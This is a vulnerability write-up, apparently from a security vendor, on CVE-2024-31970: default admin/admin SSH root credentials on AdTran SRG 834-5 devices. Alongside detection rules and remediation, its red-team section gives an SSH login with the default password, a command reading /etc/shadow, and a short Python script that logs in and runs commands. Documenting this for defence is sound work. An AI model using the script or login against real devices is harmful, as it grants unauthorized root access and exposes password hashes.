CVE-2024-31970
Executive Summary
CVE-2024-31970 describes a critical security vulnerability in AdTran SRG 834-5 HDC17600021F1 devices running SmartOS version 11.1.1.1. The vulnerability involves SSH being enabled by default with a hardcoded username and password combination of admin/admin that grants root-level privileges. This default credential window exists during the initial device setup phase, allowing an attacker to gain unauthorized root access over the LAN or potentially the WAN. The vendor has disputed the WAN accessibility claim but acknowledges the LAN-based risk. Successful exploitation enables arbitrary command execution with full system control.
Note: This vulnerability is not related to any WordPress plugin or component; it is a network appliance firmware issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely over LAN/WAN
- Attack Complexity: Low (AC:L) – no special conditions required
- Privileges Required: None (PR:N) – default credentials are known
- User Interaction: None (UI:N) – no user action needed
- Scope: Unchanged (S:U) – vulnerability affects only the device
- Confidentiality Impact: High (C:H) – full file system access
- Integrity Impact: High (I:H) – ability to modify system files
- Availability Impact: High (A:H) – potential for denial of service
Threat Level: Critical – immediate patching required for any exposed devices.
Deep Dive & Mechanics
The vulnerability stems from a combination of insecure default configurations and a lack of credential rotation during initial setup. The AdTran SRG 834-5 device ships with SSH enabled by default, listening on TCP port 22. During the first boot or factory reset, the device uses a static username admin and password admin with root-level privileges. This window persists until the administrator manually changes the credentials or completes the setup wizard.
Attack Flow:
- Attacker scans for devices with SSH open (port 22) and identifies AdTran SRG 834-5 units.
- Attacker attempts SSH login with
admin:admin. - Upon successful authentication, the attacker gains a root shell.
- Attacker can then install backdoors, exfiltrate data, pivot to internal networks, or disrupt operations.
Root Cause: The device does not enforce a mandatory password change upon first login, leaving the default credentials active indefinitely if not manually changed.
Vulnerable vs. Patched Code
Vulnerable Configuration (SmartOS 11.1.1.1):
- SSH service enabled by default.
- Default credentials:
admin/admin. - No password expiration or forced change mechanism.
Patched Configuration (SmartOS 12.1.3.1):
- SSH service disabled by default on WAN interfaces.
- Default credentials are randomized or require immediate change.
- Setup wizard enforces strong password creation.
Code Snippet (Conceptual):
# Vulnerable /etc/ssh/sshd_config snippet
PermitRootLogin yes
PasswordAuthentication yes
# Default user created with static password
useradd -m -s /bin/bash admin
echo 'admin:admin' | chpasswd
# Patched /etc/ssh/sshd_config snippet
PermitRootLogin prohibit-password
PasswordAuthentication no
# First boot script forces password change
if [ -f /etc/default_credentials ]; then
passwd -e admin
rm /etc/default_credentials
fi
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: AdTran SRG 834-5 with SmartOS 11.1.1.1 (or emulated firmware)
- Attacker: Kali Linux with SSH client
Exploitation Steps:
- Scan for target:
nmap -p 22 --script ssh-auth-methods <target_ip> - Attempt default credential login:
ssh admin@<target_ip> # Password: admin - Upon successful login, escalate to root (already root):
whoami # Output: root - Execute arbitrary commands:
cat /etc/shadow id
Automated Exploit (Python):
import paramiko
def exploit(target_ip):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(target_ip, username='admin', password='admin')
stdin, stdout, stderr = client.exec_command('id')
print(stdout.read().decode())
client.close()
return True
except:
return False
if __name__ == '__main__':
target = '192.168.1.100'
if exploit(target):
print(f'[+] Root access gained on {target}')
else:
print(f'[-] Exploit failed on {target}')
Blue Team (Defensive)
Detection & Prevention:
- Network Monitoring: Monitor for SSH brute-force attempts using default credentials.
- Configuration Auditing: Regularly audit device configurations for default credentials.
- Access Control: Restrict SSH access to trusted IPs only via firewall rules.
- Log Analysis: Check authentication logs for
adminuser logins.
Honeypot Setup:
- Deploy a decoy AdTran device with default credentials to detect scanning activity.
Indicators of Compromise (IOCs)
Network IOCs:
- SSH connections from unusual IPs to port 22 on AdTran devices.
- Repeated failed login attempts for user
admin.
Host IOCs:
- Presence of unauthorized SSH keys in
/root/.ssh/authorized_keys. - Modified system binaries or scripts in
/usr/bin/or/etc/init.d/. - Unexpected processes running as root.
File IOCs:
/etc/shadowentries with weak password hashes./etc/ssh/sshd_configwithPermitRootLogin yes.
Log IOCs:
/var/log/auth.logentries showingAccepted password for admin from <ip>./var/log/messageswith SSH service start/stop events.
Detection Engineering
YARA Rule
rule CVE_2024_31970_Default_Credentials {
meta:
description = "Detects default admin/admin credentials in AdTran SRG 834-5 config files"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-31970"
strings:
$cred = "admin:admin" ascii wide
$ssh_config = "PermitRootLogin yes" ascii wide
condition:
$cred or $ssh_config
}
Sigma Rule
title: CVE-2024-31970 - Default SSH Credentials Used on AdTran Device
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects successful SSH login with default admin/admin credentials on AdTran SRG 834-5
author: Valters IT
logsource:
product: linux
service: auth
detection:
selection:
EventID: 5580
User: admin
Message: 'Accepted password for admin from *'
condition: selection
falsepositives:
- Legitimate administrative actions during initial setup
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2024-31970 - Default SSH Credentials Attempt on AdTran Device"; flow:to_server,established; content:"SSH-2.0-OpenSSH"; nocase; content:"admin"; nocase; within:100; reference:cve,2024-31970; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade firmware to SmartOS 12.1.3.1 or later.
- Change default credentials immediately on all devices.
- Disable SSH on WAN interfaces if not required.
- Implement network segmentation to isolate management interfaces.
Long-Term Measures:
- Enforce strong password policies and multi-factor authentication.
- Deploy configuration management tools to audit device settings.
- Monitor for unauthorized SSH access using SIEM solutions.
- Conduct regular vulnerability scans of network infrastructure.
Workaround (if patching is not possible):
- Restrict SSH access via ACLs to trusted management IPs only.
- Disable SSH entirely and use console access for management.
Valters IT